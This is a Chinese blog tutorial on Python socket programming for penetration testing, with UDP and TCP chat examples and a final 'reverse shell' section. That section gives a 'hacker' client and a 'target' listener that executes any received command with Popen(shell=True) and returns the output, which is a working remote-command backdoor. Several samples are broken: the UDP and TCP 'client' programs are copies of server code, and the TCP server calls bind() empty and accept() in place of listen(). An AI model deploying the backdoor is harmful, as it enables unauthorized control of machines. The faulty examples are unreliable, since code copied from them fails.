当前位置:   article > 正文

Python渗透测试编程基础——Socket网络编程_python socket

python socket

目录

一、socket编程简介

二、UDP编程

1.介绍

2.UDP编程socket方法说明

3.UDP编程实例

(1)服务端UDP_Server程序

(2)客户端UDP_Clinet程序

三、TCP编程

1.介绍

2.TCP编程socket方法说明

3.TCP编程实例

(1)服务端程序TCP_server

(2)客户端服务端程序TCP_client

4.TCP编程扩展

5.Python其他 Internet 模块

四、反弹shell

(1)客户端(黑客)

(2)服务端(目标)


一、socket编程简介

Socket又称"套接字",是计算机间进行网络通信的一套程序接口。

套接字:IP+端口

Socket通信是基于客户端/服务器结构(C/S),可隐藏复杂的TCP/IP协议族,只要遵循Socket的规定就可以进行网络程序开发,简单且开发效率高。

Python中的socket模块,提供了套接字编程的大部分功能。支持使用UDP和TCP协议进行网络通信。

二、UDP编程

1.介绍

UDP属于无连接协议,在向接收方发送信息时不需要建立连接,而是直接发送即可。

UDP的应用:域名系统;视频流;IP语音等。

UDP编程流程及常用的

socket模块方法如图所示。

2.UDP编程socket方法说明

①socket.socket([family[, type[, proto]]]): 创建Socket对象

family

说明

socket.AF_ INET

IPv4协议

socket.AF_ INET6

IPv6协议

socket.AF_UNIX

只能够用于单一的Unix系统进程间通信

type

说明

socket.SOCK_STREAM

流式socket , for TCP

socket.SOCK_DGRAM

数据报式socket , for UDP

socket.SOCK_RAW

原始套接字,普通的套接字无法处理ICMP、IGMP等网络报文,而SOCK_RAW可以;其次,SOCK_RAW也可以处理特殊的IPv4报文;此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头。

socket.SOCK_SEQPACKET

可靠的连续数据包服务

proto

一般不填,默认为0

②bind(address):绑定地址

③sendto(string,address):发送数据把string发送给指定的address。其中address格式为(接收方IP地址,端口号)。address用元组表示(ip,port)

④recvfrom(bufsize[,flags]): 接收数据

bufsize 指定要接收的最大数据量。flag 提供有关消息的其他信息,通常可以忽略。

返回值是元组(data,address)。data为接收的字节串,address是数据发送方的套接字地址。

注意:socket在发送数据时,数据类型为字节串,发送时需将字符串转换为字节串,接收时需要将字节串转换为字符串。

⑤close{}关闭套接字

3.UDP编程实例

要求:基于UDP协议,使用socket编写编写一个服务端程序UDP_server.py,一个客户端程序UDP_client.py,实现客户端和服务端间的通信。

(1)服务端UDP_Server程序

  1. import socket
  2. # 1.创建socket对象,指明通信用的协议(ipv4,udp)
  3. def server(server_ip,server_port):
  4. s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #指定AF_INET——IPV4和SOCK_DGRAM——UDP协议
  5. # 2.绑定服务器ip地址和端口,哪个网卡和端口接收和发送数据
  6. s.bind((server_ip,server_port))
  7. # 3.只要没退出,就一直接收和发送数据,//收到或者发送的是exit就退出
  8. while True:
  9. #接受数据
  10. recv_data,cli_addr = s.recvfrom(1024)
  11. recv_data = recv_data.decode('utf-8')
  12. print(f"接收:{recv_data}")
  13. if recv_data == 'exit':
  14. break
  15. #发送数据
  16. send_data = input("发送:")
  17. s.sendto(send_data.encode('utf-8'),cli_addr)
  18. if send_data == 'exit':
  19. break
  20. # 4.关闭套接字
  21. s.close()

(2)客户端UDP_Clinet程序

  1. #encoding:utf-8
  2. import socket
  3. # 1.创建socket对象,指明通信用的协议(ipv4,udp)
  4. def server(server_ip,server_port):
  5. s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #指定AF_INET——IPV4和SOCK_DGRAM——UDP协议
  6. # 2.绑定服务器ip地址和端口,哪个网卡和端口接收和发送数据
  7. s.bind((server_ip,server_port))
  8. # 3.只要没退出,就一直接收和发送数据,//收到或者发送的是exit就退出
  9. while True:
  10. #接受数据
  11. recv_data,cli_addr = s.recvfrom(1024)
  12. recv_data = recv_data.decode('utf-8')
  13. print(f"接收:{recv_data}")
  14. if recv_data == 'exit':
  15. break
  16. #发送数据
  17. send_data = input("发送:")
  18. s.sendto(send_data.encode('utf-8'),cli_addr)
  19. if send_data == 'exit':
  20. break
  21. # 4.关闭套接字
  22. s.close()
  23. if __name__ == '__main__':
  24. server_ip = '127.0.0.1'
  25. server_port = 5555
  26. server(server_ip,server_port)

三、TCP编程

1.介绍

TCP一般用于可靠数据传输的场合,如文件传输、电子邮件等。TCP编程经常用到socket模块方法如图所示。

2.TCP编程socket方法说明

①socket.socket([family[, type[, proto]]]): 创建Socket对象

②bind(address):绑定地址

③listen(backlog):监听,等待客户端连接

backlog表示的是服务器拒绝(超过限制数量的)连接之前,操作系统可以挂起的最大连接数量。backlog也可以看作是"排队的数量"。

允许接待的总人数(socket允许的最大连接数)=排队的人数(backlog) +正在就餐的人数(服务器正在处理的socket连接数)

④accept():接受客户端的请求

⑤connect(address):客户端连接远程计算机

⑥send(data[,flags]):发送数据,可能数据未全部发送

⑦sendall(data[, flags]):发送全部数据,成功返回None,失败则抛出异常

⑧recv(bufsize[,flags]):接收数据

⑨close():关闭连接或套接字

3.TCP编程实例

基于TCP协议,使用socket编写编写一个服务端程序TCP_server.py,一个客户端程序TCP_client.py,实现客户端和服务端间的通信。

(1)服务端程序TCP_server

  1. # encoding:utf-8
  2. import socket
  3. def recv_send(server_ip,server_port):
  4. # 1.创建socket对象,指明通信用的协议(ipv4,udp)
  5. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6. s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  7. # 2.绑定ip地址和端口,指明从哪个网卡和端口上接收数据
  8. s.bind()
  9. # 3.监听客户端请求
  10. s.accept()
  11. # 4.接受客户端请求
  12. conn,client_adr = s.accept()
  13. # 5.接收/发送数据
  14. while True:
  15. # 接收数据
  16. recv_data = conn.recv(1024).decode('utf-8')
  17. print(f"接收:{recv_data}")
  18. if recv_data == 'exit':
  19. break
  20. # 发送数据
  21. send_data = input("发送:")
  22. conn.send(send_data.encode('utf-8'))
  23. if send_data == 'exit':
  24. break
  25. # 6.关闭连接
  26. conn.close()
  27. # 7.关闭套接字
  28. s.close()
  29. if __name__ == '__main__':
  30. server_ip = '127.0.0.1'
  31. server_port = '5555'
  32. recv_send(server_ip,server_port)

(2)客户端服务端程序TCP_client

  1. #encoding:utf-8
  2. import socket
  3. def recv_send(server_ip, server_port):
  4. # 1.创建socket对象,致命IPV4与TCP协议
  5. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6. s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  7. # 2.绑定地址
  8. s.bind((server_ip, server_port))
  9. # 3.监听客户端的请求
  10. s.listen()
  11. # 4.接受客户端请求
  12. conn,client_adr = s.accept()
  13. # 5.接受/发送数据
  14. while True:
  15. # 接收数据
  16. recv_data = conn.recv(1024).decode('utf-8')
  17. print(f"接收:{recv_data}")
  18. if recv_data == 'exit': # 接收或者发送的是exit就退出
  19. break
  20. # 发送数据
  21. send_data = input("发送:")
  22. conn.send(send_data.encode('utf-8'))
  23. if send_data == 'exit':
  24. break
  25. # 6.关闭连接
  26. conn.close()
  27. # 7.关闭套接字
  28. s.close()
  29. if __name__ == '__main__':
  30. server_ip = '127.0.0.1'
  31. server_port = 5555
  32. recv_send(server_ip, server_port)

4.TCP编程扩展

①Gethostname(): 获取本地主机名

②Gethostbyname():根据主机名获取ip地址

③Gethostbyaddr(): 根据ip地址获取主机名

④Getservbyport(): 根据端口号获取服务名

⑤Getservbyname(): 根据服务名获取端口号

5.Python其他 Internet 模块

以下列出了 Python 网络编程的一些重要模块:

协议

功能用处

端口号

Python 模块

HTTP

网页访问

80

httplib, urllib, xmlrpclib

NNTP

阅读和张贴新闻文章,俗称为"帖子"

119

nntplib

FTP

文件传输

20

ftplib, urllib

SMTP

发送邮件

25

smtplib

POP3

接收邮件

110

poplib

IMAP4

获取邮件

143

imaplib

Telnet

命令行

23

telnetlib

Gopher

信息查找

70

gopherlib, urllib

四、反弹shell

基于TCP编写反弹shell程序,包含客户端和服务器程序。需要使用subprocess模块

注意:中文windows系统使用GBK编码,需要decode('gbk')解码

(1)客户端(黑客)

  1. # -*- coding: gbk -*-
  2. import socket
  3. def get_shell(server_ip, server_port):
  4. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5. s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  6. s.connect((server_ip, server_port))
  7. while True:
  8. cmd = input("命令: ")
  9. s.send(cmd.encode('gbk'))
  10. if cmd == 'bye':
  11. break
  12. recv_result = s.recv(1024).decode('gbk')
  13. print(f"结果: {recv_result}")
  14. s.close()
  15. if __name__ == '__main__':
  16. server_ip = '127.0.0.1'
  17. server_port = 6666
  18. get_shell(server_ip, server_port)

(2)服务端(目标)

  1. # -*- coding: gbk -*-
  2. import socket
  3. from subprocess import Popen, PIPE
  4. def execute_cmd(server_ip, server_port):
  5. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6. s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  7. s.bind((server_ip, server_port))
  8. s.listen()
  9. conn, client_addr = s.accept()
  10. while True:
  11. cmd = conn.recv(1024).decode('gbk')
  12. cmd_p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE)
  13. result = cmd_p.stdout.read()
  14. conn.send(result)
  15. if cmd == 'bye':
  16. break
  17. conn.close()
  18. s.close()
  19. if __name__ == '__main__':
  20. server_ip = '127.0.0.1'
  21. server_port = 6666
  22. execute_cmd(server_ip, server_port)
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小小林熬夜学编程/article/detail/561151
推荐阅读
相关标签
  

闽ICP备14008679号